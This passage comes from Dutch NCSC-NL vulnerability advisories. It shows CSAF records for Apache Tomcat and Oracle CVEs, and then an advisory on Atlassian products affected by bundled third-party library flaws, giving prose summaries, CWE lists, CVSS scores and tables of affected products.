"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-55956"
},
{
"cve": "CVE-2026-59084",
"notes": [
{
"category": "description",
"text": "Multiple Apache Tomcat versions contain an Insufficient Technical Documentation vulnerability related to EncryptInterceptor configuration and security flaws leading to sensitive data exposure, addressed in updates 11.0.24, 10.1.57, and 9.0.120 with various bug fixes and improvements.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-59084 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-59084.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-59084"
},
{
"cve": "CVE-2026-71142",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Communications Unified Inventory Management (v7.5.0-8.0.1) allows unauthenticated attackers with HTTP network access to gain unauthorized access to critical data, rated with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71142 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71142.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71142"
},
{
"cve": "CVE-2026-71143",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Communications Unified Inventory Management 7.5.0 to 8.0.1 allows unauthenticated attackers with HTTP network access to create, delete, or modify critical data, with a CVSS 3.1 base score of 7.4 indicating high confidentiality and integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71143 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71143.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.4,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71143"
}
]
}
NCSC-2026-0325
Vulnerability from csaf_ncscnl - Published: 2026-08-24 09:52 - Updated: 2026-08-24 09:52Summary
Kwetsbaarheden verholpen in Atlassian producten
Notes
The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this page to enhance access to its information and security advisories. The use of this security advisory is subject to the following terms and conditions:
NCSC-NL makes every reasonable effort to ensure that the content of this page is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or continuous keeping up-to-date. The information contained in this security advisory is intended solely for the purpose of providing general information to professional users. No rights can be derived from the information provided therein.
NCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of this security advisory. This includes damage resulting from the inaccuracy of incompleteness of the information contained in the advisory.
This security advisory is subject to Dutch law. All disputes related to or arising from the use of this advisory will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings.
Feiten: Atlassian heeft kwetsbaarheden verholpen in diverse producten zoals Bamboo, Bitbucket, Confluence, Jira, Crowd en Fisheye. De kwetsbaarheden bevinden zich in diverse Third-Party producten waar eerder updates voor zijn verschenen. Atlassian heeft deze updates verwerkt in de eigen producten.
Interpretaties: Kwaadwillenden kunnen de kwetsbaarheden misbruiken om een Denial-of-Service te veroorzaken, willekeurige code uit te voeren middels het injecteren van scripts of malafide SQL-quieries en/of gegevens te manipuleren of toegang te krijgen tot gevoelige gegevens.
Enkele kwetsbaarheden hebben van origine een hoge CVSS score van 9 of meer en zijn door de ontwikkelaars van het kwetsbare product aanvankelijk ingeschaald als 'kritiek'. Door de wijze waarop Atlassian gebruik maakt van deze Third-party modules, is direct misbruik van deze kwetsbaarheden onwaarschijnlijker, waardoor Atlassian de risico's van misbruik voor hun producten lager inschaalt. Echter, door de grote hoeveelheid verholpen kwetsbaarheden adviseert het NCSC wel om deze updates met voorrang in te zetten, met name op systemen die toegankelijk zijn vanaf publieke infrastructuur.
Oplossingen: Atlassian heeft updates uitgebracht voor Bamboo, Bitbucket, Confluence, Jira, Crowd en Fisheye. Zie de bijgevoegde referenties voor meer informatie.
Kans: medium
Schade: high
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')
CWE-122: Heap-based Buffer Overflow
CWE-140: Improper Neutralization of Delimiters
CWE-347: Improper Verification of Cryptographic Signature
CWE-354: Improper Validation of Integrity Check Value
CWE-401: Missing Release of Memory after Effective Lifetime
CWE-407: Inefficient Algorithmic Complexity
CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
CWE-436: Interpretation Conflict
CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization
CWE-636: Not Failing Securely ('Failing Open')
CWE-670: Always-Incorrect Control Flow Implementation
CWE-674: Uncontrolled Recursion
CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')
CWE-770: Allocation of Resources Without Limits or Throttling
CWE-772: Missing Release of Resource after Effective Lifetime
CWE-787: Out-of-bounds Write
CWE-789: Memory Allocation with Excessive Size Value
CWE-823: Use of Out-of-range Pointer Offset
CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')
CWE-911: Improper Update of Reference Count
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
CWE-918: Server-Side Request Forgery (SSRF)
CWE-940: Improper Verification of Source of a Communication Channel
CWE-1285: Improper Validation of Specified Index, Position, or Offset in Input
CWE-1289: Improper Validation of Unsafe Equivalence in Input
CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Multiple versions of the Node.js minimist module contain a prototype pollution vulnerability in the setKey() function, enabling remote code execution and uncontrolled resource consumption, affecting various products including NetApp and several Node.js updates.
9.8 (Critical)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
A Regular Expression Denial of Service (ReDoS) vulnerability exists in the minimatch package's braceExpand function, affecting multiple dependent products including Catboost, Dash-extensions, and Jnitrace, which have updated to minimatch version 3.1.2 to address the issue.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Babel versions prior to 7.23.2 and related plugins are vulnerable to arbitrary code execution via the internal methods path.evaluate() and path.evaluateTruthy() when compiling attacker-crafted code.
9.3 (Critical)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
A vulnerability in the BC-JAVA library's GOST 28147-2015 CTR mode causes keystream reuse after 255 blocks, affecting multiple versions and IBM Db2 Server, enabling attackers to compromise data confidentiality.
9.0 (Critical)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
A second-order SQL injection vulnerability in Hibernate ORM versions 5.2.8 to 5.6.15, affecting Red Hat and NetApp products, allows remote attackers with low privileges to exploit unsanitized non-alphanumeric characters, risking data disclosure and manipulation.
8.3 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Eclipse Jetty's HTTP/1.1 parser improperly handles unclosed quoted strings in chunked transfer encoding extensions, enabling request smuggling attacks that can bypass security controls and lead to cache poisoning, access control bypass, and session hijacking.
9.1 (Critical)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
A resource allocation vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcpg before version 1.84 allows unauthenticated attackers to cause memory exhaustion and denial of service via unbounded PGP AEAD chunk sizes.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Multiple lodash vulnerabilities, including CVE-2021-23337 and command injection in _.template, affect various versions and Oracle products, enabling code injection and remote takeover with severity up to CVSS 9.8, fixed in lodash 4.18.0 and later.
9.8 (Critical)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
fast-uri versions 3.1.0 and earlier improperly decode percent-encoded path separators and dot segments before normalization, causing distinct URIs to collapse into the same path and enabling bypass of path-based security policies.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
fast-uri versions up to 3.1.1 improperly decode percent-encoded authority delimiters in the host component, altering URI structure and enabling redirection to unintended hosts.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Eclipse Jetty's DigestAuthentication improperly uses ISO-8859-1 encoding for password hashing, causing non-Latin-1 characters to be replaced with '?', enabling attackers to bypass authentication via hash collisions and impersonation.
9.1 (Critical)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
The form-data library up to version 4.0.5 is vulnerable to CRLF injection due to unescaped carriage return, line feed, and double-quote characters in multipart field names and filenames, fixed in versions 2.5.6, 3.0.5, and 4.0.6 by escaping these characters.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Multiple Node.js updates address a denial of service vulnerability in the undici WebSocket client caused by unbounded memory growth from numerous small or empty continuation frames, alongside other critical security fixes.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Bouncy Castle for Java versions prior to 1.85, including certain LTS and FIPS releases, contains a vulnerability in CMS AuthEnvelopedData where tag-length enforcement fails during decryption, potentially compromising data integrity.
CWE-354 - Improper Validation of Integrity Check ValueAffected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Bouncy Castle for Java versions before 1.85 and LTS versions before 2.73.12 contain a vulnerability in KCCMBlockCipher MAC where nonce binding fails without AAD, enabling cross-nonce AEAD forgery attacks.
CWE-354 - Improper Validation of Integrity Check ValueAffected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
Bouncy Castle for Java versions before 1.85 and LTS versions before 2.73.12 are vulnerable to IESEngine stream-mode MAC forgery due to a length-dependent key derivation function split issue.
CWE-354 - Improper Validation of Integrity Check ValueAffected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Atlassian / Bamboo
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Bitbucket Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Confluence Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crowd Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Crucible
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Fisheye
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Service Management Server
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Data Center
|
vers:unknown/* | ||
|
vers:unknown/*
Atlassian / Jira Software Server
|
vers:unknown/* |
brace-expansion versions through 5.0.6 have a denial of service vulnerability due to the expand() function's exponential-time complexity when processing consecutive non-expanding brace groups, causing high CPU usage and event-loop blocking.
7.5 (High)
Affected products
Known affected
13 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
